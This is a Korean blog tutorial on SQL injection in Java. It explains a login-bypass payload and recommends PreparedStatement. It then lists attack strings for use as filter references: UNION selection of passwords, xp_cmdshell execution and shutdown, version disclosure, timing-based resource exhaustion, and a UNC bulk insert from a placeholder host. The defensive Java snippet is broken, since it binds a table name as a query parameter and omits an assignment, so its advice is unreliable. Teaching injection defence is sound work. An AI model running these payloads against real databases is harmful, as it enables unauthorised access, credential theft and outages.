Recent Posts
Recent Comments
Link
06-28 05:11
Today
Total
관리 메뉴

삶 가운데 남긴 기록 AACII.TISTORY.COM

JAVA 보안 SQL Injection 본문

DEV&OPS/Java

JAVA 보안 SQL Injection

ALEPH.GEM 2022. 8. 3. 17:44

SQL Injection

사용자의 입력값에 Query를 직접 입력해서 쿼리 구조를 바꾸어 개발자가 의도하지 않은 동작을 수행하게 하는 공격 기법입니다.

 

예) ID를 guest ' OR 'a'='a' -- 으로 설정 한경우 쿼리가 아래처럼 생성되어 Where절이 항상 참이므로 비번 없이 로그인에 성공할 수 있습니다.

SELECT * FROM members WHERE userId='guest' OR 'a'='a' -- AND paseword = ...

preparedStatement 클래스를 사용해서 미리 컴파일된 쿼리를 사용해 쿼리를 동적으로 생성할 수 없게 해서 방어합니다.

String query = "SELECT * FROM ? WHERE NAME = ?";
pstmt con.prepareStatement(query);
pstmt.setString(1, tableName);
pstmt.setString(2, name);

preparedStatement를 사용할 수 없는 경우는 입력 값에 길이 제한을 걸고 정규식을 이용하여 특수 문자를 필터링하고 SQL문을 입력할 수 없도록 해야 합니다.

아래 예제는 SQL Injection 공격으로 사용하는 예제 이므로 필터링 시 참고하시기 바랍니다.

-- 위험한 구문 IF (1=1) SELECT 'true' ELSE SELECT 'false'
SELECT header, txt FROM news UNION ALL SELECT name, pass FROM members
-- 위험한 함수
SELECT CHAR(0X66)
SELECT CONCAT(CHAR(75),CHAR(76),CHAR(77))
SELECT ASCII('a')
MD5(), SHA1(), PASSWORD(), ENCODE(), COMPRESS(), ROW_COUNT(), SCHEMA(), VERSION(), ...
-- 시스템 정보 노출
INSERT INTO MEMBERS(id, user, pass) VALUES(1, ''+SUBSTRING(@@version,1,10), 10)
-- 위험한 명령어 실행
exec master..xp_cmdshell 'dir' ';shutdown --
-- 시스템 자원 소모 유도
IF(SELECT * FROM login) BENCHMARK(1000000,MD5(1)) WAITFOR DELAY '0:0:10' --
-- 윈도우 UNC Share 악용
bulk insert foo from '\\YOURIPADDRESS\C$\x.txt'

 

또한 SQL 구문 들을 블랙리스트에 등록하고 강제적으로 삭제해서 방어할 수 있습니다.

 

 

 

 

참고

http://cwe.mitre.org/data/definitions/89.html 

 

CWE - CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection') (4.8)

div.collapseblock { display:inline} CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')Weakness ID: 89Abstraction: BaseStructure: Simple The software constructs all or part of an SQL command using externally-influen

cwe.mitre.org

 

 

https://www.owasp.org/index.php/Top_10_2010-A1 

 

OWASP Top Ten | OWASP Foundation

The OWASP Top 10 is the reference standard for the most critical web application security risks. Adopting the OWASP Top 10 is perhaps the most effective first step towards changing your software development culture focused on producing secure code.

owasp.org

http://cwe.mitre.org/top25/ 

 

https://cwe.mitre.org/top25/

 

cwe.mitre.org

 

 

 

 

 

728x90

'DEV&OPS > Java' 카테고리의 다른 글

JAVA 보안 Cross-site Scripting  (0) 2022.08.03
JAVA 보안 Resource Injection  (0) 2022.08.03
CRUD  (0) 2022.07.26
MVC 패턴  (0) 2022.07.21
JSTL SQL  (0) 2022.07.20